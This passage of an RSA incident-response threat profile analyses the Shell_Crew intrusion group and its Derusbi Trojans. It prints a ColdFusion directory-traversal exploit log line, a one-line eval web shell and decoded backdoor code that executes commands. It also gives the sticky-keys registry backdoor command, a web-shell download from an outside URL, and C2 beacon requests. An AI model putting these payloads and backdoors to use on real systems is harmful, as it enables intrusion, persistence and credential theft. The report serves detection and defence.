Derusbi variant ............................................................................................ 17 Figure 21: Trojan.
Derusbi Configuration Data Decoding Function ................................................................................................... 18 Figure 22: Decoded Trojan.
Derusbi configuration data ................................................................................................................... 19 Figure 23: Trojan.
Derusbi Configuration Data Encoding Function ................................................................................................... 20 Figure 24: XOR key that is used to decode the driver file ................................................................................................................. 21 Figure 25: Trojan.
Derusbi Driver Decoding Function........................................................................................................................ 22 Figure 26: POST request initiated by Trojan.
Derusbi ........................................................................................................................ 22 Figure 27: Binary data transmitted by Trojan.
Derusbi ..................................................................................................................... 23 Figure 28: The Binary data contains a set of three DWORDs ........................................................................................................... 23 Figure 29: GET request transmitted by the Trojan ........................................................................................................................... 23 Figure 30: Characteristics of the file 2.dll - a Trojan.
Derusbi variant ............................................................................................... 24 Figure 31: Derusbi server variant - check OS version logic ............................................................................................................... 25 Figure 32: Registry key identifying the service name and Trojan file ............................................................................................... 25 Figure 33: Driver logic that looks for handshake .............................................................................................................................. 26 Figure 34: Trojan.
Derusbi server variant handshake structure ........................................................................................................ 26 RSA Incident Response Page 4 RSA Emerging Threat Profile: Shell_Crew Figure 35: Trojan.
Derusbi server variant handshake sample data ................................................................................................... 26 Figure 36: Trojan.
Derusbi server variant - authentication ............................................................................................................... 27 Figure 37: Trojan.
Derusbi server variant  protocol components .................................................................................................... 27 Figure 38: Common usage of notepad.exe ....................................................................................................................................... 28 Figure 39: File details of notepad.exe ............................................................................................................................................... 28 Figure 40: Resource of notepad.exe ................................................................................................................................................. 29 Figure 41: Notepad.exe - built in C2 data structure ......................................................................................................................... 29 Figure 42: C2 obfuscation in notepad.exe ........................................................................................................................................ 29 Figure 43: Details of the file xmlobj.dll ............................................................................................................................................. 31 Figure 44: Sample of harvested credentials ..................................................................................................................................... 32 Figure 45: ECAT detects a suspicious outbound connection ............................................................................................................ 34 Figure 46: Alert sent by ECAT ........................................................................................................................................................... 34 Figure 47: MFT File Viewer in ECAT .................................................................................................................................................. 35 Figure 48: Malware sample testing .................................................................................................................................................. 35 Figure 49: Trojan.
Derusbi Variants Mutex Overlap .......................................................................................................................... 37 Figure 50: Trojan.
Derusbi variants XOR key overlap ........................................................................................................................ 38 Figure 51: Trojan.
Derusbi variants XOR key overlap ........................................................................................................................ 39 Figure 52: Trojan.
Derusbi variants XOR key overlap ........................................................................................................................ 40 Figure 53: Relationships between Trojan.
Notepad samples ............................................................................................................ 41 RSA Incident Response Page 5 RSA Emerging Threat Profile: Shell_Crew Report Overview The purpose of this report is to share actionable threat intelligence associated with an advanced adversary the RSA IR Team is tracking.
Threat intelligence related to advanced adversaries enables security practitioners to mitigate threat impact before the adversary becomes entrenched in an organizations infrastructure.
If a breach has already occurred, threat intelligence bolsters incident investigation activities and expedites remediation ultimately reducing exposure times and minimizing potential data loss.
During recent engagements, the RSA IR Team has responded to multiple incidents involving a common adversary targeting each clients infrastructure and assets.
The RSA IR Team is referring to this threat group internally as Shell_Crew however, they are also referred to as Deep Panda, WebMasters, KungFu Kittens, SportsFans, and PinkPanther amongst the security community.
Shell_Crew is generally known to utilize the following tactics, techniques, and procedures (TTPs) Prevalent use of Web shells to maintain low level persistence in spite of determined remediation efforts Occasional use of Web application framework exploits to achieve initial entry as opposed to traditional spearfishing attempts Lateral movement using compromised credentials with RDP, psexec, or network connections in conjunction with scheduling jobs with the at command.
Abuse of Code Signing infrastructure to validly sign custom backdoor malware Exploiting  systems using different SETHC.exe methods accessible via Remote Desktop Protocol (RDP) Long history of IP/DNS telemetry allowing for historical research and link analysis Placement of malicious proxy tools introduced into the environment on Windows server based proxies to bypass proxy logging Extensive use of time/date stomping of malicious files to hinder forensic analysis and Malware leveraging compromised credentials to bypass authentication NTLM proxies (proxy aware).
This emerging threat profile covers a sampling of observed indicators that have been derived by analyzing a variety of tools and malicious code collected during recent engagements involving Shell_Crew.
Included are details about an observed intrusion vector, entrenchment techniques, unique malicious files, and tools that are used by this adversary.
Additionally, the RSA IR Team has provided content in the form of a digital appendix that can be integrated into Security Analytics, the Enterprise Compromise Assessment Tool (ECAT), or other security tools for rapid detection and visibility of indicators associated with Shell_Crew.
RSA Incident Response Page 6 RSA Emerging Threat Profile: Shell_Crew Intrusion Vector Intrusion Overview Shell_Crew has an affinity for exploiting web application vulnerabilities to gain access to the victims network and information systems.
In this section, weve provided details pertaining to an instance where Shell_Crew breached a victim network through the exploitation of an Adobe ColdFusion directory traversal vulnerability (CVE-2010-2861).
This exploit allowed Shell_Crew to read the password.properties file containing the password hash of the ColdFusion administrator account.
After obtaining this password hash, Shell_Crew was able to recover the password associated with the administrative account, likely by using pre-computed rainbow tables.
Using the acquired administrator account credentials, Shell_Crew created a ColdFusion scheduled task to download a malicious Web shell to the ColdFusion server.
They then utilized this Web shell to upload additional Web shells, hash dumping tools, and other Trojans onto the system, as well as created a backdoor into the system for reentry.
Using the tools uploaded to the server, Shell_Crew dumped password hashes from the compromised system, performed network reconnaissance, and moved laterally to systems in the internal network using the compromised credentials with the pass-the-hash technique.
Figure 1 below illustrates the high level anatomy of this particular Shell_Crew attack.
Figure 1: Anatomy of Shell_Crew Web Application Penetration RSA Incident Response Page 7 RSA Emerging Threat Profile: Shell_Crew Intrusion Details On 18 th June, 2013 an attacker using IP address 184.71.210.4 connected to the ColdFusion Web server and exploited the Adobe ColdFusion directory traversal vulnerability, CVE-2010-2861, to recover the contents of the password.properties file.
Figure 2 below depicts a log entry from the Web server that illustrates the initial point of exploitation.
The data highlighted in blue shows the directory traversal used to access the password.properties file.
In addition, the data highlighted with red (zh-cn) in the User-Agent indicates the language tag on the attackers system.
Figure 2: Web server log entry The password.properties file contained the hash value of the ColdFusion administrator account, which can be seen in Figure 3 below: Figure 3: Example content of a password.properties file Through review of log files found on the Web server, the RSA IR team identified that within 10 minutes of retrieving the password.properties file, Shell_Crew logged in to the ColdFusion management page using the recovered administrator account credentials.
This indicates that Shell_Crew quickly enumerated the password from the hash value found in the password.properties file.
Once logged in with the administrator account, Shell_Crew scheduled a job called test to download a file containing a ColdFusion Web shell from http://mpe.ie/1234.zip and save it to the Web servers local directory D:\mywebsite\x.cfm.
1 The log entry from the Web server that shows scheduling of this job is visible in Figure 4.
Figure 4: ColdFusion task that downloads Web shell The file downloaded from the remote system to the ColdFusion server, 1234.zip, is a ColdFusion Web shell called cfm backdoor by ufo.
Once the Web shell was downloaded to the Web server by the ColdFusion job, the adversary was able to utilize the functionality of the Web shell to execute commands on the local system, illustrated in Figure 5 and Figure 6.
1 The name of the website has been changed to protect the privacy of the victim.
2013-06-18 05:17:30 W3SVC1 10.193.23.45 GET /CFIDE/administrator/enter.cfm locale..\..\..\..\..\..\..\..\ColdFusion8\lib\ password.properties00en 80  184.71.210.4 Opera/9.80(WindowsNT6.1UEditionIBISzh-cn)Presto/ 2.10.229Version/11.61 RSA Incident Response Page 8 RSA Emerging Threat Profile: Shell_Crew Figure 5: Log entry showing the use of x.cfm by IP 125.141.233.19 Figure 6: Command executed via Web shell Once Shell_Crew has a foothold into the victims network, they move to other systems within the environment to ensure multiple points for re-entry.
Some of the techniques used by Shell_Crew to further insert themselves into a victims environment are outlined in the next section of this report Entrenchment Techniques 2013-06-18 05:29:13  W3SVC1 10.193.23.45 POST /x.cfm - 80 - 125.141.233.19 Mozilla/4.0(compatibleMSIE6.0WindowsNT5.1) RSA Incident Response Page 9 RSA Emerging Threat Profile: Shell_Crew Entrenchment Techniques Shell_Crew uses a variety of techniques to entrench themselves in a victims network.
For purposes of this report, the term entrenchment is used to describe a technique used by the adversary that allows them to maintain unauthorized access into an enterprise despite attempted remediation efforts by the victim.
In addition to traditional Trojans that beacon out to a destination IP address, this adversary has also been observed utilizing the following entrenchment techniques Installation of Web shells Registering DLLs with Internet Information Services (IIS) Modifying the System.
Web.dll file Trojan.
Derusbi and Utilizing the RDP backdoor sethc.exe.
This section of the report discusses each of these entrenchment techniques in further detail.
1.
Installation of Web shells Web shells are files containing malicious code written in various Web scripting languages, such as JSP, CFM, ASP, ASPX, or PHP, that when hosted on a publicly accessible Web site allow an adversary such as Shell_Crew to gain remote access and perform various unauthorized activities on a compromised system and network.
A Web shell can be a stand-alone file that only contains Web shell code, or can be an insertion of malicious code directly into an existing legitimate Web site page, thus allowing the adversary to blend with normal traffic and files on the Web server.
Using Web shells has several advantages over traditional Trojans including: Low detection rates from Anti-Virus programs due to the variety and customization of code The inability to block or monitor an IP since connectivity can be initiated from any source address and There is no beaconing activity from a Web shell.
The complexity of the Web shells used by Shell_Crew varies dramatically.
Figure 7 shows the contents of a simple Web shell identified during a recent engagement where Shell_Crew had uploaded the Web shell as a standalone file.
This one line of code allowed Shell_Crew to execute shell commands remotely on the Web server.
The red text depicted within the example has been changed as the password value used by Shell_Crew made reference to the name of the victim company.
Figure 7: Example of a simple Shell_Crew Web shell Shell_Crew also uses more complex Web shells that contain hundreds of lines of code and offer advanced functionality equal to many capable Trojans.
This functionality can include capabilities such as: File system traversal File/folder upload, download, and modify Command execution Time stomp files/folder Database connectivity and Communication obfuscation (typically Base64 or ASCII hex encoding).
Figure 8 below is a screenshot of the ColdFusion Web shell used by Shell_Crew as referenced in the Intrusion Vector section of this report.
This Web shell contains robust capabilities such as command execution, directory traversal, file uploads, and the ability to gather basic system information.
Page LanguageJscripteval(Request.
Item[password],unsafe) RSA Incident Response Page 10 RSA Emerging Threat Profile: Shell_Crew Figure 8: ColdFusion Web shell interface example 2.
Registering DLLs with Internet Information Services (IIS) Another entrenchment technique used by Shell_Crew on compromised systems is to register a DLL with IIS.
Figure 9 below is an example where a malicious DLL was registered with the IIS Web server using the command line.
The ScriptMaps.vbs file is a built in function of IIS for running VBScripts, and is fully documented in MSDN 2 .
Figure 9: Command used to register a DLL with IIS This command line modification will ensure that any incoming request (whether it is a GET, POST, HEAD, or TRACE) with a .jna extension, will be handled by the now registered malicious DLL, in the example in Figure 9, myDLLname.dll.
This allows Shell_Crew to make different requests both in the request type, such as GET or POST, and the file being requested, making detection more difficult.
This method of using various request parameters can be coupled with erratic IP Addresses further decreasing the likelihood that the activity will be detected by conventional means.
Figure 10 depicts a sample request to a compromised Web server.
2 http://msdn.microsoft.com/en-us/library/ms52605228vvs.9029.aspx cscript D:\mywebsite\ScriptMaps.vbs  -a .jna,C:\windows\system32\inetsrv\ myDLLname.dll,1,GET,HEAD,POST,TRACE POST /x.cfm HTTP/1.1 Host: mywebsite.com Connection: keep-alive Referer: http://mywebsite.com/x.cfm Content-Length: 47 Cache-Control: max-age0 Origin: http://mywebsite.com User-Agent: Mozilla/5.0 (Windows NT 6.1 WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtmlxml,application/xmlq0.9,/q0.
8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,enq0.8 Accept-Charset: ISO-8859-1,utf-8q0.7,q0.3 cmdcscriptD3A5Cmywebsite5Cbad5Cenable.vbs RSA Incident Response Page 11 RSA Emerging Threat Profile: Shell_Crew Figure 10: POST request on IIS registered DLL 3.
Modifying the System.
Web.dll file This entrenchment technique was discovered after Shell_Crew made POST requests to nonexistent Web pages on a Web server running IIS.
The POST requests always started with a marker string that looked like a hash value.
Requests to the same non-existent Web page without the marker would result in a code 404, i.e.
page not found.
Figure 11 shows an example of a POST request sent by Shell_Crew to a non-existent webpage.
Figure 11: POST request to a non-existent Web page The typically benign .NET Microsoft file System.
Web.dll is an assembly that contains several namespaces.
When decompiled with a .NET Decompiler (such as .NET Reflector) the result will be hundreds of C scripts.
Shell_Crew replaced the existing System.
Web.dll with a version which contained changes to two C scripts: Disassembler\System.
Web\System\Web\UI\PageHandlerFactory.cs Disassembler\System.
Web\System\Web\Util\default_aspx.cs The first script file PagehandlerFactory.cs contains adversary added code that looks for this marker in the content of the request: 4B39DD871AD56E6BFEC750C33138B985.
When the marker is present, it lets default_aspx.cs handle the request that follows the marker.
Figure 12 highlights the modifications made to the PagehandlerFactory.cs file.
Figure 12: Modified content of PagehandlerFactory.cs 4B39DD871AD56E6BFEC750C33138B985Response.
Write(--)var err:Exceptiontryeval(System.
Text.
Encoding.
GetEncoding(936).GetString(System .Convert.
FromBase64String( RSA Incident Response Page 12 RSA Emerging Threat Profile: Shell_Crew When called by the script PagehandlerFactory.cs, the file default_aspx.cs, which also contains code added by the adversary, performs the eval function on the request sent in the original POST request to the non-existent Web page.
Figure 13: Content of default_aspx.cs In this instance, the POST request contained data that was Base64 encoded to obfuscate the malicious nature of the request, as shown in Figure 14.
Figure 14: POST request on nonexistent webpage Below in Figure 15 is the decoded blue text from the POST request in Figure 14.
Figure 15: Decoded base64 text from the POST request Additionally, the actual command within the above POST request is also Base64 encoded.
Below in Figure 16, the encoded text from the above POST request decoded.
var cnew System.
Diagnostics.
ProcessStartInfo(System.
Text.
Encoding.
GetEncoding(936).GetString(System.
Convert.
FromBase64String(Request.
Item[z1])))var enew System.
Diagnostics.
Process()var out:System.
IO.StreamReader,EI:System.
IO.StreamReaderc.
UseShellExecutefalsec.
RedirectStandardOutputtruec.
RedirectStandardErrortruee.
StartInfocc.
Arguments /c System.
Text.
Encoding.
GetEncoding(936).GetString(System.
Convert.
FromBase64String(Request.
Item[z2]))e.
Start() oute.
StandardOutputEIe.
StandardErrore.
Close()Response.
Write(out.
ReadToEnd()EI.ReadToEnd()) RSA Incident Response Page 13 RSA Emerging Threat Profile: Shell_Crew Figure 16: The script was further decoded to reveal the contents The reply from the server to these POST requests is not obfuscated and could be found in Web server log files as shown in Figure 17.
Figure 17: Reply from infected Web server 4.
Trojan.
Derusbi In addition to deploying traditional versions of what Symantec calls Trojan.
Derusbi (i.e.
samples that beacon to a hard- coded domain/IP address), this adversary deployed a custom version of this Trojan on perimeter servers.
Trojan.
Derusbi typically consists of a DLL and driver file.
The driver of the customized Trojan.
Derusbi variant in this example monitors all TCP ports that are utilized by various Windows services.
When a connection is established on any TCP port, the driver checks to see if it received a handshake packet.
The handshake packet contains a simple structure, which allows the Trojan to function even on busy Web servers.
When a handshake packet is received, the DLL also replies back with a handshake packet.
In addition to the handshake, this variant of Trojan.
Derusbi also has an authentication step where the client must send the right password to the Trojan.
The communication protocol consist of a 24 byte header, and the data is compressed and obfuscated with 4-byte XOR key, which is dynamically generated for each transmission, and which is included in the 24-byte header.
This Trojan offers both typical and advanced Trojan functionalities, such as: file traversal, process start/terminate, upload/download, time stomping, and self-updating.
Analysis of customized Trojan.
Derusbi variants utilized by Shell_Crew can be found in the below Malicious Files and Secondary Tools section.
5.
Sethc RDP backdoor  Sticky-Keys backdoor This well-known technique that is commonly referred to as the sticky-keys backdoor is used when systems on the targeted organization have Microsoft Remote Desktop Protocol (RDP) enabled.
While this technique is not exclusive to Shell_Crew, z1cmdz2 cd /d D:\mywebserver\whoamiecho [S]cdecho [E] z1Y21kz2Y2QgL2QgIkQ6XG15d2Vic2VydmVyXCImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd RSA Incident Response Page 14 RSA Emerging Threat Profile: Shell_Crew the RSA IR Team has observed this group utilize the technique in several different environments.
There are two common ways that a system can be exploited using this technique.
1.
File sethc.exe is replaced with another file (typically cmd.exe or explorer.exe) in one or both of these two locations: C:\Windows\system32\sethc.exe C:\Windows\system32\dllcache\sethc.exe The result of making this change on a system which has RDP enabled, is that once presented with the RDP Windows logon screen, simply pressing the SHIFT key 5 times will launch either a command shell (cmd.exe), a windows explorer window (explorer.exe), or whatever program was copied to replace the sethc.exe application executable.
2.
The second technique makes a registry modification to launch a debugger anytime sethc.exe is executed and registers cmd.exe (or any other file) as the debugger.
So, anytime sethc.exe is invoked (explained in the next paragraph), Windows automatically executes its debugger, i.e.cmd.exe.
The registry modification is shown in Figure 18.
Figure 18: Registry modification to invoke sethc.exe debugging The result of making this change on a system which has RDP enabled, is that once presented with the RDP Windows logon screen, simply pressing the SHIFT key 5 times will launch either a command shell, cmd.exe as shown in Figure 18, or whichever program has been set as the debug program in the registry.
The process runs under the context of the SYSTEM account.
Since this technique does not involve any malicious files, there is limited capability for AV vendors to detect this backdoor.
Figure 19 shows an example of a system that has the Stick Key set to present a command shell when invoked.
Figure 19: RDP backdoor example REG ADD HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe RSA Incident Response Page 15 RSA Emerging Threat Profile: Shell_Crew Malicious Files and Secondary Tools Shell_Crew uses a variety of malicious Trojans and tools to entrench themselves, move laterally, and persist within a targeted environment.
This portion of the report will detail the malicious files and secondary tools identified during recent engagements involving Shell_Crew.
The sections are broken up as follows: Malicious Files and Secondary Tools Hash List Malicious Files  Technical Analysis and Secondary Tools  Technical Analysis Malicious Files and Secondary Tools Hash List The following list of Trojans and tools have been used by Shell_Crew during various investigations conducted by the RSA IR team.
The Web shells that are often used by Shell_Crew can be easily modified for specific missions or victims, and subsequently, hash values are not listed for those files.
Additionally, many Web shell samples identified reference specific victim names, which once redacted, would change the hash value of the file.
MD5 Hash Description 90eddad3327a63fdea924fb802bc7dc5 Credential logger 77932654f5087ac5e157dfb6ff9b7524 Derusbi dropper cc09af194acf2039ad9f6074d89157ca Derusbi server variant a395eed1d0f8a7a79bdebbfd6c673cc1 Mimikatz 469d4825c5acacb62d1c109085790849 Mimikatz DLL eb698247808b8e35ed5a9d5fefd7a3ae Password hash dumper 62567951f942f6015138449520e67aeb Trojan.
Notepad 2dce7fc3f52a692d8a84a0c182519133 Trojan.
Notepad 7a6154e1c07aded990bd07f604af4acf  Trojan.
Notepad ef0493b075a592abc29b8e9ec43aca07 Trojan.
Notepad 985abc913a294c096718892332631ec9 Trojan.
Notepad 42ecdce7d7dab7c3088e332ff4f64875 Trojan.
Notepad 106e63dbda3a76beeb53a8bbd8f98927 Trojan.
Notepad 42d98ddb0a5b870e8bb828fb2ef22b3f Trojan.
Notepad fcb89c7ab7fa08f322148d3b67b34c49 Windows Cred Editor 128c17340cb5add26bf60dfe2af37700 Trojan.
Derusbi 1ae0c39cb9684652c017161f8a5aca78 Trojan.
Derusbi 2f05c07e3f925265cd45ef1d0243a511 Trojan.
Derusbi 312888a0742815cccc53dc37abf1a958 Trojan.
Derusbi 3804d23ddb141c977b98c2885953444f Trojan.
Derusbi RSA Incident Response Page 16 RSA Emerging Threat Profile: Shell_Crew 3a27de4fb6e2c524e883c40a43da554e Trojan.
Derusbi 3c973c1ad37dae0443a078dba685c0ea Trojan.
Derusbi 3dec6df39910045791ee697f461baaba Trojan.
Derusbi 449521ce87ed0111dcb0d4beff85064d Trojan.
Derusbi 59cb505d1636119f2881caa14bf42326 Trojan.
Derusbi 6802c21d3d0d80084bf93413dc0c23a7 Trojan.
Derusbi 6811b8667e08ffa5fcd8a69ca9c72161 Trojan.
Derusbi 6d620d5a903f0d714c30565a9bfdce8f Trojan.
Derusbi 6ec15a34f058176be4e4685eda9a5cfc Trojan.
Derusbi 72662c61ae8ef7566a945f648e9d4dd8 Trojan.
Derusbi 75b3ccd4d3bfb56b55a46fba9463d282 Trojan.
Derusbi 76767ef2d2bb25eba45203f0d2e8335b Trojan.
Derusbi 837b6b1601e0fa99f28657dee244223b Trojan.
Derusbi 87f93dcfa2c329081ddbd175ea6d946b Trojan.
Derusbi 8c0cf5bc1f75d71879b48a286f6befcf Trojan.
Derusbi 9318d336f8d8018fd97357c26a2dfb20 Trojan.
Derusbi a1fb51343f3724e8b683a93f2d42127b Trojan.
Derusbi bc32ecb75624a7bec7a901e10c195307 Trojan.
Derusbi c353bac6ebace04b376adf1f3115e087 Trojan.
Derusbi d3ad90010c701e731835142fabb6bfcc Trojan.
Derusbi de7500fc1065a081180841f32f06a537 Trojan.
Derusbi eeb636886ecc9ff3623d10f1efcf3c09 Trojan.
Derusbi f942f98cff86f8fcde7eb0c2f465be7a Trojan.
Derusbi Table 1: List of Malicious Files RSA Incident Response Page 17 RSA Emerging Threat Profile: Shell_Crew Malicious Files  Technical Analysis Shell_Crew uses a variety of malicious Trojans and tools to entrench themselves in a customer environment, however they consistently employ Trojans such as Trojan.
Derusbi and variations of this Trojan family.
This portion of the report will detail the technical analysis of two of the custom variations of Trojan.
Derusbi used by Shell_Crew.
1.
Trojan.
Derusbi The RSA IR Team has observed Shell_Crew deploy different variants of the Trojan.
Derusbi family.
This Trojan family provides attackers a backdoor into the enterprise, as well as functionality to locate and decrypt passwords stored on the system by web browsers like Firefox and Internet Explorer, gather system and network information, and upload or download files.
Details of a sample found during a recent engagement involving Shell_Crew have been provided in Figure 20.
Figure 20: Details of the file msressvkx.ttf - a Trojan.
Derusbi variant It should be noted that the original sample contained a hard coded URL that made reference to a company name because of this, the hard coded IP Address was replaced and the MD5 and SHA1 hash values provided above are for the sanitized file.
This Trojan has an embedded and encoded driver file that is written to the infected system and then launched.
This driver will hook the IP, TCP, UDP, and RawIP driver files that normally run on a system.
When this particular Trojan.
Derusbi variant is initially executed it checks to see if the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Security is present in the registry.
This registry key location is where the Trojan will store its encoded configuration data.
If the key is not present on the system, the sample will first decode the configuration data that is embedded in the Trojan found at position 0x1EC88.
File Name:  msressvkx.ttf File Size:  141928 bytes MD5:        c0d4c5b669cc5b51862db37e972d31ec SHA1:       0beaa9038e9884bdda6b08c3737e7ee14894a6cf PE Time:    0x4EAD4675 [Sun Oct 30 12:43:33 2011 UTC] PEID Sig:   Microsoft Visual C v6.0 DLL PEID Sig:   Microsoft Visual C v7.0 DLL Sections (5): Name      Entropy  MD5 .text     6.4      ac994b0a4a872010d47652211eb789d8 .rdata    5.33     ca075b2352348728dc38d309d1a52499 .data     6.69     cdd5648583ab062550db0f1039700e28 .rsrc     2.89     463fc58dc7c103c564540cd1191f6c06 .reloc    6.03     7430b0b237db5acf3c691df23c915847 RSA Incident Response Page 18 RSA Emerging Threat Profile: Shell_Crew Figure 21 below shows the function responsible for decoding this embedded data with the XOR key 0x 76 2D F2 41.
Once the configuration data has been initially decoded, it will be placed into memory and the Trojan will resolve the current machine name and append 4 characters of pseudorandom data separated by a dash -.
This null terminated string will then overwrite the first portion of data in the decoded configuration file.
Figure 21: Trojan.
Derusbi Configuration Data Decoding Function RSA Incident Response Page 19 RSA Emerging Threat Profile: Shell_Crew The data below in Figure 22 illustrates the decoded configuration data.
The machine name string and the hard coded C2 for this sample are highlighted in yellow (and have been changed to protect the victim).
Figure 22: Decoded Trojan.
Derusbi configuration data This machine specific configuration data will then be encoded, using a different method, where each byte is XORed with 0x5F and then each bit of that product byte is subsequently inverted.
This encoded data will then be written to the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Security registry key.
Figure 23 below shows the function within the Trojan responsible for encoding this data and then writing it to the registry.
If the sample is restarted it will again check for the registry value containing the configuration data.
If this value is located, the sample will read the configuration data and then decode it using a function similar to the function that is depicted below.
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F 00000000   2D 56 49 43 54 49 4D 2D  4D 41 43 48 49 4E 45 2D   -VICTIM-MACHINE- 00000010   33 37 39 38 00 57 29 57  74 59 41 73 59 57 51 33   3798 W)WtYAsYWQ3 00000020   2D 3E 23 3C 7E 4F 72 29  21 4D 3C 5B 56 54 3D 47   -Or)M[VTG 00000030   5F 25 2D 4E 38 68 7A 39  50 53 5C 6D 32 70 33 00   _-N8hz9PS\m2p3 00000040   62 61 64 2E 6D 61 6C 77  61 72 65 6A 77 6D 2E 63   bad.malwarejwm.c 00000050   6F 6D 3A 34 34 33 00 57  5A 53 74 5A 24 64 21 74   om:443 WZStZdt 00000060   47 24 74 3B 62 5D 35 77  46 4F 24 2E 71 56 66 2A   Gtb]5wFO.qVf Removed for Brevity 00000140   14 00 00 00 77 75 61 75  73 65 72 76 00 67 2A 66       wuauserv gf 00000150   22 75 5E 46 71 53 5A 27  38 2D 7A 51 25 47 50 49   uFqSZ8-zQGPI 00000160   31 2D 40 70 00 00 00 00  00 31 59 22 72 5E 50 53   1-p     1YrPS 00000170   72 7A 5A 76 28 2E 34 6C  57 3A 4B 74 21 70 3C 7E   rzZv(.4lW:Ktp 00000180   46 76 69 32 38 77 74 57  00 59 4C 48 28 31 3B 67   Fvi28wtW YLH(1g 00000190   64 55 4E 6F 2C 6B 46 74  00 53 22 74 26 7A 26 5B   dUNo,kFt Stz[ 000001A0   45 70 50 5F 30 54 7E 38  6A A0 6B                  EpP_0T8j k RSA Incident Response Page 20 RSA Emerging Threat Profile: Shell_Crew Figure 23: Trojan.
Derusbi Configuration Data Encoding Function Upon initial execution, the Trojan will decode, write, and launch a driver file that is embedded in the file at offset 0x19A40.
The data shown below in Figure 24 is how the data resides in the file.
RSA Incident Response Page 21 RSA Emerging Threat Profile: Shell_Crew As shown in Figure 24, the first DWORD that is highlighted in yellow is the 4 byte XOR key that is used to decode the driver file.
It should be noted that this XOR key is the same in several variants that were compiled over a year time frame.
The second DWORD highlighted in blue is the length of data to be decoded (the size of the driver file) 0x52 18 or 21,016 bytes decimal.
Figure 24: XOR key that is used to decode the driver file The function below in Figure 25 is responsible for decoding the driver file.
This function will call an additional function that is responsible for writing the decoded data to disk as C:\Windows\System32\Drivers\6AB5E732-DFA9-4618-AF1C- F0D9DEF0E222.sys.
The Trojan will then use the API call ZwLoadDriver to start the newly created file.
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F 00019A40   F3 5D 88 2E 18 52 00 00  BE 07 18 2E F0 5D 88 2E   ].
R    .].
00019A50   F7 5D 88 2E 0C A2 88 2E  4B 5D 88 2E F3 5D 88 2E   ].
.K].
].
00019A60   B3 5D 88 2E F3 5D 88 2E  F3 5D 88 2E F3 5D 88 2E   ].].].
].
00019A70   F3 5D 88 2E F3 5D 88 2E  F3 5D 88 2E F3 5D 88 2E   ].].].
].
00019A80   F3 5D 88 2E 13 5D 88 2E  FD 42 32 20 F3 E9 81 E3   ]. ]
.B2 00019A90   D2 E5 89 62 3E 7C DC 46  9A 2E A8 5E 81 32 EF 5C   bF.2\ 00019AA0   92 30 A8 4D 92 33 E6 41  87 7D EA 4B D3 2F FD 40   0M3AK/ 00019AB0   D3 34 E6 0E B7 12 DB 0E  9E 32 EC 4B DD 50 85 24   4   2KP 00019AC0   D7 5D 88 2E F3 5D 88 2E  94 52 8B C5 D0 33 E5 96   ].
].R3 00019AD0   D0 33 E5 96 D0 33 E5 96  D9 4B 70 96 D3 33 E5 96   33Kp3 00019AE0   D0 33 E4 96 FA 33 E5 96  13 3C B8 96 D5 33 E5 96   33 3 00019AF0   13 3C BA 96 D1 33 E5 96  D9 4B 66 96 D4 33 E5 96    3Kf3 00019B00   D9 4B 61 96 D5 33 E5 96  D9 4B 71 96 D1 33 E5 96   Ka3Kq3 00019B10   D9 4B 74 96 D1 33 E5 96  A1 34 EB 46 D0 33 E5 96   Kt34F3 RSA Incident Response Page 22 RSA Emerging Threat Profile: Shell_Crew Figure 25: Trojan.
Derusbi Driver Decoding Function The driver will hook other networking drivers and will determine if incoming traffic contains certain patterns of traffic, which when specific conditions are met will pipe that traffic to Trojan.
Derusbi.
Once the Trojan begins to communicate with the hard coded C2, it will initially transmit the following POST request shown in Figure 26.
Figure 26: POST request initiated by Trojan.
Derusbi If no response is received it will transmit the following binary data shown in Figure 27, which is part of a proprietary handshake that is discussed more in the Trojan.
Derusbi  Server Variant section.
The Binary data contains a set of three DWORDs that the C2 will validate to as part of the initial portion of the handshake.
The first DWORD is created just prior to the beaconing activity.
The following two DWORDs are mathematical modifications of the first DWORD.
POST /forum/login.cgi HTTP/1.1 HOST: bad.malwarejwm.com:443 User-Agent: Mozilla/4.0 Proxy-Connection: Keep-Alive Connection: Keep-Alive Pragma: no-cache RSA Incident Response Page 23 RSA Emerging Threat Profile: Shell_Crew Figure 27: Binary data transmitted by Trojan.
Derusbi As illustrated below in Figure 28, the second DWORD is the product of XORing the first DWORD with 0xFF.
The third DWORD is the product of rotating the first DWORD value right by 7.
Figure 28: The Binary data contains a set of three DWORDs If the Trojan does not receive the other necessary portions of the Trojan/C2 handshake it will transmit the following type of GET request.
The loginid that is highlighted in yellow in Figure 29 is created pseudorandomly.
Figure 29: GET request transmitted by the Trojan This Trojan has several advanced capabilities including providing a reverse shell to the adversary, locating and decrypting usernames and passwords stored by web browsers like Internet Explorer and Firefox, uploading and downloading files, and executing additional malicious files.
Appendix 1 of this report illustrates how several variants of Trojan.
Derusbi have overlapping characteristics.
Having the ability to quickly detect relationships between different variants allows the RSA IR Team to locate not just specific samples, but variants throughout an environment within the same family.
GET /Photos/Query.cgi?loginid24072 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1) Host: bad.malwarejwm.com:443 Cache-Control: no-cache Pragma: no-cache Connection: Keep-Alive 1 st DWORD  0x00003DAE 2 nd DWORD  0x00003DAE  0xFF  0xFFFFC251 3 rd DWORD  0x00003DAE ROR 7   0x5C00007B 00000000  ae 3d 00 00 51 c2 ff ff  7b 00 00 5c 87 0b 00 00 ...Q... ..\.... 00000010  cf 4e 00 00 3c 08 00 00  19 55 00 00 46 3a 00 00 .N..... .U..F:.. 00000020  e4 41 00 00 4c 76 00 00  3b 65 00 00 28 6a 00 00 .A..Lv.. e..(j.. 00000030  a7 43 00 00 08 26 00 00  3c 7b 00 00 c9 6b 00 00 .C..... ...k.. RSA Incident Response Page 24 RSA Emerging Threat Profile: Shell_Crew 2.
Trojan.
Derusbi Server Variant Shell_crew deployed this variant of Trojan.
Derusbi on perimeter devices in a victims network.
This variant contains a driver that monitors all incoming TCP connections for a secret handshake.
The handshake is simple enough to allow this variant to function even on busy web servers.
